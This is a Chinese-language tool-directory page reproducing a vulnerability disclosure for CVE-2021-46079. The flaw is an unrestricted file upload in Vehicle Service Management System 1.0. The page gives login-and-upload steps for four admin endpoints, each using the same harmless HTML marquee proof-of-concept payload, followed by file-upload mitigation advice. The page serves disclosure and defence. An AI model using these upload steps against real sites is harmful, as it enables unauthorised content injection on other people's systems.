Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2021-46079 — CVE-2021-46079 - An Unrestricted File Upload vulnerability exists in Sourcecodester Vehicle Service Management System 1.0. A remote attacker can upload malicious files leading to Html Injection. | Kitploit
工具/GitHubGitHub/sanupl/cve-2021-46079
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration Testing
GitHubsanupl/cve-2021-46079

CVE-2021-46079

CVE-2021-46079 - An Unrestricted File Upload vulnerability exists in Sourcecodester Vehicle Service Management System 1.0. A remote attacker can upload malicious files leading to Html Injection.

查看仓库
13个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2021-46079

漏洞名称: 车辆服务管理系统 - '多个'文件上传导致HTML注入

漏洞作者: SANU P.L

CVE: CVE-2021-46079

CVSS: 7.2 高危

参考:

  • https://www.plsanu.com/vehicle-service-management-system-multiple-file-upload-leads-to-html-injection
  • https://nvd.nist.gov/vuln/detail/CVE-2021-46079
  • https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-46079

漏洞描述:

Sourcecodester 车辆服务管理系统 1.0 存在一个不受限制的文件上传漏洞。远程攻击者可上传恶意文件,导致HTML注入。

1. 车辆服务管理系统 - '我的账户' (/admin/?page=user)

利用方法:

  1. 登录管理后台 http://localhost/vehicle_service/admin
  2. 导航至“我的账户”部分 http://localhost/vehicle_service/admin/?page=user

Payload:

root@kitploit:~
<!DOCTYPE html>
<html>
<head>
<title>HTML marquee Tag</title>
</head>
<body>
<marquee>HTML INJECTION</marquee>
</body>
</html>
  1. 将上述HTML代码保存为文件,例如 Html Injection.html
  2. 在“我的账户”部分填写所有必要信息,并在“头像”处选择该HTML文件。
  3. 点击“更新”按钮。
  4. 在新标签页中打开头像图片。
  5. HTML注入被执行。

2. 车辆服务管理系统 - '用户列表' (/admin/?page=user/manage_user)

利用方法:

  1. 登录管理后台 http://localhost/vehicle_service/admin
  2. 导航至“用户列表”部分,点击“创建新用户”按钮。

Payload:

root@kitploit:~
<!DOCTYPE html>
<html>
<head>
<title>HTML marquee Tag</title>
</head>
<body>
<marquee>HTML INJECTION</marquee>
</body>
</html>
  1. 将上述HTML代码保存为文件,例如 Html Injection.html
  2. 在“创建新用户”页面填写所有必要信息,并在“头像”处选择该HTML文件。
  3. 点击“保存”按钮。
  4. 在新标签页中打开头像图片。
  5. HTML注入被执行。

3. 车辆服务管理系统 - '设置-系统标志' (/admin/?page=system_info)

Payload:

  1. 登录管理后台 http://localhost/vehicle_service/admin
  2. 导航至“设置”部分 http://localhost/vehicle_service/admin/?page=system_info

Payload:

root@kitploit:~
<!DOCTYPE html>
<html>
<head>
<title>HTML marquee Tag</title>
</head>
<body>
<marquee>HTML INJECTION</marquee>
</body>
</html>
  1. 将上述HTML代码保存为文件,例如 Html Injection.html
  2. 在“设置”部分填写所有必要信息,并在“系统标志”处选择该HTML文件。
  3. 点击“更新”按钮。
  4. 在新标签页中打开系统标志图片。
  5. HTML注入被执行。

4. 车辆服务管理系统 - '设置-网站封面' (/admin/?page=system_info)

利用方法:

  1. 登录管理后台 http://localhost/vehicle_service/admin
  2. 导航至“设置”部分 http://localhost/vehicle_service/admin/?page=system_info

Payload:

root@kitploit:~
<!DOCTYPE html>
<html>
<head>
<title>HTML marquee Tag</title>
</head>
<body>
<marquee>HTML INJECTION</marquee>
</body>
</html>
  1. 将上述HTML代码保存为文件,例如 Html Injection.html
  2. 在“设置”部分填写所有必要信息,并在“网站封面”处选择该HTML文件。
  3. 点击“更新”按钮。
  4. 在新标签页中打开网站封面图片。
  5. HTML注入被执行。

影响:

攻击者能够在多个端点上传恶意文件,导致HTML注入。

缓解措施:

建议实施以下措施:

  • 切勿直接接受文件名及其扩展名,除非有白名单过滤。
  • 如果不需要Unicode字符,强烈建议仅接受字母数字字符和一个点作为文件名和扩展名的输入。
  • 限制文件大小最大值,以防止拒绝服务攻击。
  • 上传目录不应具有任何“执行”权限。
  • 不要仅依赖客户端验证。
下载工具